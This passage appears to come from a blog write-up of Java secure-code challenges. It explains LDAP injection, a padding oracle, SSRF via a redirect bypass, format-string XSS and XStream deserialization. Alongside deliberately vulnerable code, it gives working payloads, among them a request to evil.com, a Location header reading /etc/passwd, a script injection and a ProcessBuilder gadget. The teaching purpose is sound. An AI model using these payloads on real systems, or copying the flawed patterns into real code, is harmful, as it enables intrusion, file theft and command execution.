      return searchResult != null;
    }
    return false;
  }

  protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
    try {
      DirContext ctx = initLdap();
      if(userExists(ctx, request.getParameter("username"))){
        response.getOutputStream().print("User is found.");
        response.getOutputStream().close();
      }
    } catch (Exception e) {
      response.sendRedirect("/");
    }
  }
}
  • The username parameter (line 54) is passed to the userExists() method.
  • The method checks if the user exists in the LDAP directory (lines 32-49).
  • The username is added to a filter string to query the LDAP server (line 40).
  • The query checks for an attribute uid matching the username (line 40).
  • The LDAP query result determines the return value of userExists() (line 46).
  • A blacklist is used to prevent certain attributes from being queried (lines 33-38).
  • However, the createtimestamp attribute is not in the blacklist.
  • By injecting payloads like ?username=admin)(createtimestamp=2* or ?username=admin)(createtimestamp=20*, an attacker can leak information about the admin user’s createtimestamp.
  • This information can be used to generate an API token (line 10) and execute arbitrary commands via the executeCommand() method (line 14).

Challenge 21 - Snowman

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import javax.crypto.*;
import javax.crypto.spec.*;
import org.apache.commons.codec.binary.Hex;

public class Decrypter{

 @RequestMapping("/decrypt")
  public void decrypt(HttpServletResponse req, HttpServletResponse res) throws IOException, NoSuchAlgorithmException, InvalidAlgorithmParameterException, InvalidKeyException, IllegalBlockSizeException, NoSuchPaddingException, DecoderException, InvalidKeySpecException {

    // Payload to decrypt: 699c99a4f27a4e4c310d75586abe8d32a8fc21a1f9e400f22b1fec7b415de5a4
    byte[] cipher = Hex.decodeHex(req.getParameter("c"));
    byte[] salt = new byte[]{(byte)0x12,(byte)0x34,(byte)0x56,(byte)0x78,(byte)0x9a,(byte)0xbc,(byte)0xde};
    // Extract IV.
    byte[] iv = new byte[16];
    System.arraycopy(cipher, 0, iv, 0, iv.length);
    IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);

    byte[] encryptedBytes = new byte[cipher.length - 16];
    System.arraycopy(cipher, 16, encryptedBytes, 0, cipher.length - 16);
    SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256");
    // Of course the password is not known by the attacker - just for testing purposes
    KeySpec spec = new PBEKeySpec("SuperSecurePassword".toCharArray(), salt, 65536, 128);
    SecretKey key = factory.generateSecret(spec);
    SecretKeySpec secretKeySpec = new SecretKeySpec(key.getEncoded(), "AES");
    // Decrypt.
    try {
      Cipher cipherDecrypt = Cipher.getInstance("AES/CBC/PKCS5Padding");
      cipherDecrypt.init(Cipher.DECRYPT_MODE, secretKeySpec, ivParameterSpec);
      byte[] decrypted = cipherDecrypt.doFinal(encryptedBytes);
      // Do something.
    } catch (BadPaddingException e) {
      res.getWriter().println("Invalid Padding!!");
    }
  }
}
  • The decrypt method attempts to decrypt user-provided hex-encoded ciphertext using an insecure AES algorithm (line 27).
  • The attacker knows the encrypted ciphertext (line 10) but not the encryption key.
  • Since the ciphertext lacks Message Authentication Code (MAC) or signature protection, the attacker can manipulate the Initialization Vector (IV, first 16 bytes of ciphertext).
  • This manipulation exploits CBC mode malleability to trigger a BadPaddingException.
  • By leveraging a Padding Oracle attack, the attacker can decrypt the ciphertext without the key.
  • This attack might require up to 16 * 256 requests to decrypt a single block.
  • For more information on Padding Oracle attacks, refer to: https://www.owasp.org/images/e/eb/Fun_with_Padding_Oracles.pdf.

Challenge 22 - Fruitcake

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import org.apache.commons.io.IOUtils;
import java.net.*;
import javax.servlet.http.*;

public class ReadExternalUrl extends HttpServlet {

  private static URLConnection getUrl(String target) {
    try{
      // Don't allow redirects:
      HttpURLConnection.setFollowRedirects(false);

      URL url = new URL(target);
      if(!url.getProtocol().startsWith("http"))
        throw new Exception("Must start with http!.");

      InetAddress inetAddress = InetAddress.getByName(url.getHost());
      if (inetAddress.isAnyLocalAddress() || inetAddress.isLoopbackAddress() || inetAddress.isLinkLocalAddress())
        throw new Exception("No local urls allowed!");

      HttpURLConnection conn = (HttpURLConnection) url.openConnection();
      return conn;
    }
    catch (Exception e) {
      return null;
    }
  }

  protected void doGet(HttpServletRequest request,
                       HttpServletResponse response) {
    try{
      URLConnection conn = getUrl(request.getParameter("url"));
      conn.connect();
      String redirect = conn.getHeaderField("Location");
      if(redirect != null) {
        URL url = new URL(redirect);
        if(redirect.indexOf("http://") == -1) {
          throw new Exception("No http found!");
        }
        if(getUrl(redirect.substring(redirect.indexOf("http://"))) != null) {
          conn = url.openConnection();
          conn.connect();
        }
      }
      // Output content of url
      IOUtils.copy(conn.getInputStream(),response.getOutputStream());
    }
    catch (Exception e) {
      System.exit(-1);
    }
  }
}
  • The code retrieves a URL using the getUrl method (line 31).
  • Initial checks ensure the URL starts with “http” (line 13) and is a valid external URL (line 17).
  • Redirects are also disabled (line 10).
  • However, the code allows a single redirect via the “Location” header (lines 33-43).
  • An attacker can control the URL parameter and inject a malicious “Location” header.
  • A simple payload like victim.org?url=http://evil.com/ can bypass the second check (line 39) due to incomplete validation.
  • The check only examines the content after “http” (e.g., “google.com” in this case).
  • Though intended to fetch “https://localhost/”, the request ends up at “https://localhost/?x=http://google.com” (line 40/41).
  • The response body is printed (line 45), demonstrating a classic SSRF vulnerability.
  • But there’s more! The attacker can also exploit this as a File Read vulnerability.
  • By injecting Location: file:///etc/passwd#http://google.com, the code attempts to read the local “/etc/passwd” file, potentially leaking sensitive information.

Challenge 23 - Ivy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import javax.servlet.http.*;
import java.io.*;
import java.text.*;
import java.util.*;
import org.apache.commons.lang3.StringEscapeUtils;

public class ShowCalendar extends HttpServlet {
  protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
    try {
      response.setContentType("text/html");
      GregorianCalendar calendar = new GregorianCalendar();
      SimpleTimeZone x = new SimpleTimeZone(0, request.getParameter("id"));
      SimpleDateFormat parser=new SimpleDateFormat("EEE MMM d HH:mm:ss zzz yyyy");
      calendar.setTime(parser.parse(request.getParameter("current_time")));
      calendar.setTimeZone(x);
      Formatter formatter = new Formatter();
      String name = StringEscapeUtils.escapeHtml4(request.getParameter("name"));
      formatter.format("Name of your calendar: " + name + " and your current date is: %1$te.%1$tm.%1$tY", calendar);
      PrintWriter pw = response.getWriter();
      pw.print(formatter.toString());
    } catch(ParseException e) {
      response.sendRedirect("/");
    }
  }
}
  • This code is vulnerable to Reflective XSS due to a format string injection.
  • User input for name is sanitized against XSS in line 17.
  • However, the sanitized name is then concatenated into a format string in line 18.
  • Since calendar is an object, various format specifiers can be used.
  • The user can inject format specifiers without causing errors.
  • The format specifier %s calls toString() on elements within the Calendar object.
  • In line 12, a SimpleTimeZone object is created with user-controlled id.
  • This SimpleTimeZone object is added to the Calendar object in line 15.
  • An attacker can inject an XSS payload into name using the format specifier %s.
  • The payload is then included in the formatted string printed in line 20.
  • This results in a Reflective XSS vulnerability where the injected script is executed through reflection.

Example payload:

1
http://victim.org/?id=<script>alert(1)</script>&current_time=Thu Jun 18 20:56:02 EDT 2009&name=%shello

Challenge 24 - Nutcracker

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package com.rips.demo.web;
 
import java.io.*;
import java.lang.reflect.*;
 
class Invoker implements Serializable {
 
  private String c;
  private String m;
  private String[] a;
 
  public Invoker(String c, String m, String[] a) {
    this.c = c;
    this.m = m;
    this.a = a;
  }
 
  private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException {
    ois.defaultReadObject();
    Class clazz = Class.forName(this.c);
    Object obj = clazz.getConstructor(String[].class).newInstance(new Object[]{this.a});
    Method meth = clazz.getMethod(this.m);
    meth.invoke(obj, null);
  }
}
 
class User implements Serializable {
  private String name;
  private String email;
  transient private String password;
 
  public User(String name, String email, String password) {
    this.name = name;
    this.email = email;
    this.password = password;
  }
   
  private void readObject(ObjectInputStream stream)
      throws IOException, ClassNotFoundException {
    stream.defaultReadObject();
    password = (String) stream.readObject();
  }
 
  @Override
  public String toString() {
    return "User{" + "name='" + name + ", email='" + email + "'}";
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 @RequestMapping(value = "/unserialize", consumes = "text/xml")
  public void unserialize(@RequestBody String xml, HttpServletResponse res) throws IOException, ParserConfigurationException, SAXException, XPathExpressionException, TransformerException {
    res.setContentType("text/plain");
    // Parse xml string
    DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
    builderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
    DocumentBuilder builder = builderFactory.newDocumentBuilder();
    Document xmlDocument = builder.parse(new InputSource(new StringReader(xml)));
    XPath xPath = XPathFactory.newInstance().newXPath();
    String expression = "//com.rips.demo.web.User[@serialization='custom'][1]";
    //only allow User objects to be unserialized!!!
    NodeList nodeList = (NodeList) xPath.compile(expression).evaluate(xmlDocument, XPathConstants.NODESET);
    // Transform node back to xml string
    Transformer transformer = TransformerFactory.newInstance().newTransformer();
    transformer.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, "yes");
    StringWriter writer = new StringWriter();
    transformer.transform(new DOMSource(nodeList.item(0)), new StreamResult(writer));
    String xmloutput = writer.getBuffer().toString();
    // Unserialze User
    User user = (User) new XStream().fromXML(xmloutput);
    res.getWriter().print("Successfully unserialized "+user.toString());
  }
  • This code is vulnerable to Object Injection due to insecure deserialization.
  • User input arrives through the @RequestBody annotation (Spring framework) and is mapped to xml in line 2.
  • The input is parsed into a DOM document (line 8).
  • An XPath expression filters for com.rips.demo.web.User nodes with the serialization='custom' attribute (lines 10-12).
  • The filtered node is then serialized back to a string (line 17) and deserialized (line 20).
  • Both relevant classes implement Serializable and override default deserialization (lines 18-24, 38-42).
  • While deserialization reads non-transient fields, the password field is manually read later (line 41).
  • This allows hiding another object within the User object, bypassing the filter.
  • The vulnerability is exploited in the readObject method of the Invoker class (line 19).
  • This method allows creating an arbitrary object and invoking its methods.
  • An attacker can craft a payload to create a ProcessBuilder object and execute commands (lines shown).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<com.rips.demo.web.User serialization="custom">
  <com.rips.demo.web.User>
    <default>
      <email>peter@gmail.com</email>
      <name>Peter</name>
    </default>
    <com.rips.demo.web.Invoker serialization="custom">
      <com.rips.demo.web.Invoker>
        <default>
          <a>
            <string>touch</string>
            <string>abc</string>
          </a>
          <c>java.lang.ProcessBuilder</c>
          <m>start</m>
        </default>
      </com.rips.demo.web.Invoker>
    </com.rips.demo.web.Invoker>
  </com.rips.demo.web.User>
</com.rips.demo.web.User>
This post is licensed under CC BY 4.0 by the author.